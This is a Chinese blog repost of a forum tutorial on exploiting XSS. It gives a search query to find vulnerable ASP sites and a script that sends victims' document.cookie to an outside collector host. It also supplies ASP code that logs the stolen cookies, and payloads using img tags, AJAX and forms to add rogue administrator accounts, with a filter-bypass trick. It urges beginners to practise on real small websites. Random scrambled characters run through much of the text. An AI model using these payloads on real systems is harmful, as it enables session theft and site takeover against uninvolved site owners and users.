前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为: 2 H' ?$ R+ m2 k
2 K& {' B. g3 K5 y( Y% r
http://tieba.baidu.com/f?kz=1069007239% X) S1 t- H e4 _+ v8 @# C6 v
; Z$ S8 C. _/ ~2 Z* L
这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。4 T4 m! `9 S C' V
2 w* g' I, U% b# U
但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。
; F/ { m0 m7 [% ^8 Y2 b0 p* _
我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。
( K6 H( c# Y: o& @& P+ N
! C1 {& R; {8 e8 C/ F( Z; L2 u这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。
' |, {$ A; {7 }! m$ D1 K
% o+ x$ v( t9 `& _: y好了,废话不多说了,一起来看文章吧。
) Q5 D9 b4 T) W) { P+ J
% T, w; h/ e Z) P, \------------------------------------------------------------------- w7 ]& C2 n. i" K
+ u2 v |" [8 {7 B2 b
首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。
( R9 V. W f+ y" p8 R7 T" P
* n2 R. n: J7 }) x3 w
! F9 E2 n7 \2 O( `
1 v2 ]5 _' ~/ q- f& Y3 U再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:
/ M6 \! ]: d5 I: c6 ~2 N1 N
) U4 h; h1 U8 F) i; ?/ r. k ( }; N7 n$ f9 S! `- u& W- N
- G) @5 W% I. u+ k6 h _这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是% r. b6 @4 {3 ]- A& w
1:让目标访问已跨站的网址,然后这个网址执行脚本 t. N/ ?6 N% e; c8 d; |" @& K
2:然后跳转到你已经写好专门用来收集Cookie的网址
/ A3 _4 H# u6 n' |) w0 t, f; p$ Z, W8 A! n# Y$ i" G9 W
具体实现方法:
8 C2 K8 P4 f! o [4 |& |先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>, x. F$ O2 ^5 L; I- a$ h) a3 `6 A
这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。2 O/ k$ {1 ^" ^& B( ^! W
* I; o; a$ d' B/ I/ J
这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:
5 W7 ?- u8 A7 f. S' s
' ]" e$ b' Z H<html>" M$ o. u' Q% N$ b$ n
<title>xx</title>, e Y j# _! I @6 o p/ i
<body>8 ?& `1 t' Q6 r3 }& c
<%8 ]7 o; V/ F2 |$ h" w) ?
testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
) ^0 {; ?% V5 ?# W/ ~! Omsg = Request("msg") //获取提交过来的msg变量,也就是cookie值, r( I$ f. v* w
set fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象% W3 t# J- D' n( a3 z) w
set thisfile = fs.OpenTextFile(testfile,8,True,0)
% Q9 i0 _8 ?# ^: fthisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie- f& Q, z5 ^# f7 m* m0 D& V/ T
thisfile.close //关闭
% d6 Q8 j9 m6 X$ t0 Nset fs = nothing* G0 T0 Y- i- N8 x$ X
%>
1 n8 g6 f, b5 p# E8 f" r/ }7 i</body>8 t$ ^" h3 I' ?' D# n
</html>
1 f1 q( {5 H; G$ S
2 X, ?0 g' x4 o- k- H9 x然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:9 w G! U/ I/ o0 ^+ P8 d
2 ]5 Z) l3 Z# N: B; a3 ~$ T
0 t; x* L# J# ~8 M
. ?- y1 ~) }* i/ [* S! h% p7 F& M: r* {, _) |
拿出来看看,呵呵,Cookie到手:
6 w$ ^: x4 `; [- l
0 [9 r7 p3 X& R4 r( h ' I' {4 H; {/ J- a
, f: J, s* x$ O, O- a2 e1 ]; I本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~! r O5 D/ ~5 W `$ U' }( o9 b
9 \" O; f4 \/ j& K$ vPS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。6 b$ h& q T1 e; @6 y( ?9 j. i
/ ?# M8 I* s9 Z$ I4 }7 S. @/ U8 V
-------------------------------------------------------------------
8 H2 G: g# G: e3 Q% @ f; o/ E* _. X
下面是我对这个帖子的回复,也一起贴过来吧:. [# L+ f8 U6 J7 w
7 _/ A X; l) @$ S
说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。
- w( w9 w; V$ g4 o1 @: f3 ^: v0 R. ^, T3 h5 f* q
但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。
6 ~5 Z0 J0 l* N9 |1 B2 R再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。
$ A1 `) C+ _' R T4 t' r7 e7 |3 h R u5 F$ s u' i
在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:7 H$ R3 T/ e' h6 ` G: L$ r/ p2 T
8 s& [) @9 N4 p; x* d" ~
http://user.qzone.qq.com/673116767/blog/1252452536
" u0 x4 ?+ k5 i& F# Z `! d' ^% z+ k' m. Q0 `0 R
一般发现一个xss漏洞后要做的基本上就是这些:8 X0 q+ [; |& x! J* v" c& Z9 Q
* u+ l3 \' l& U
1. 伪造请求 使用$_REQUEST或$_GET
% p2 J- J0 V+ \4 c; o& c5 O/ ^* Z
, N |9 |$ p ~+ {6 a首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:
& I" |( ~! H5 |$ {/ Z6 \6 p7 \0 v<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />
5 o' o# J- o" A" S当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。
9 Z4 N5 F w7 A1 V. [0 W9 G
, F3 J/ N3 j& N; p如果是可视文本编辑器,可以尝试使用输入:6 [/ R3 C$ j( l
http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')# ]7 [) O4 v2 I& X
这样最终会构造出:
) J% y6 J2 P( r; s<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />, r$ [ s$ u5 v. [
总之要举一反三。
+ s6 r" w- F' _
0 s- a: f, {; Q4 G/ V2. 伪造请求 使用$_POST# ~; c$ v3 ~: t* _. p; F
# D' [7 I, e+ `
当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:; H& P' q: X _9 R0 ?4 p
<sc/*xss*/ript type="text/javascript">0 D, J# Z. R' y( ?& C* [
var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");3 V# g: ]+ Q8 X* {2 Q% L
aj.open("POST", "/admin/admin_add.asp", false);. e- I* M* z. S6 U( L
var postdata = 'name=xxx&psd=yyy';
7 L0 W7 Z6 d: N3 Y& O: Raj.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); 1 y/ k5 X7 i% G* x! J: T1 _' z
aj.send(postdata);) E' n/ q7 }. h7 P7 r: `7 m# U
</scr/*xss*/ipt>3 x' y6 j r$ M- l5 K4 V2 y' P
/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。" p8 J* x1 y2 {9 t0 L
9 f3 P1 ]; y K; N, C3 E3. 跨站伪造请求 使用$_GET 或 $_REQUEST8 T( U% y( s; ` G
. c4 g9 n5 }! a+ F8 M( E与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片
8 x( V5 F I; Q<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/>
+ I; y5 }) {" C O% l8 j然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。" q) {3 r' [* Z
- r$ n/ [+ A) o4.跨站伪造请求 使用$_POST(0day)
/ l* O+ b: B8 o4 O/ e" y& H, D5 i6 J' s5 H/ F
如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。4 J9 G) ~& w* m9 S4 l. K( B8 P
0 r5 w( T& _# I+ I& L6 z/ N
但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。3 W4 x8 S# r. l
9 C0 e7 G3 Y. u, I总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。* d9 T8 L% v3 O- B
9 C+ Q/ _' F I4 M
OK,该说的都说完了,Over。
! E8 _/ T1 z' G% y6 p |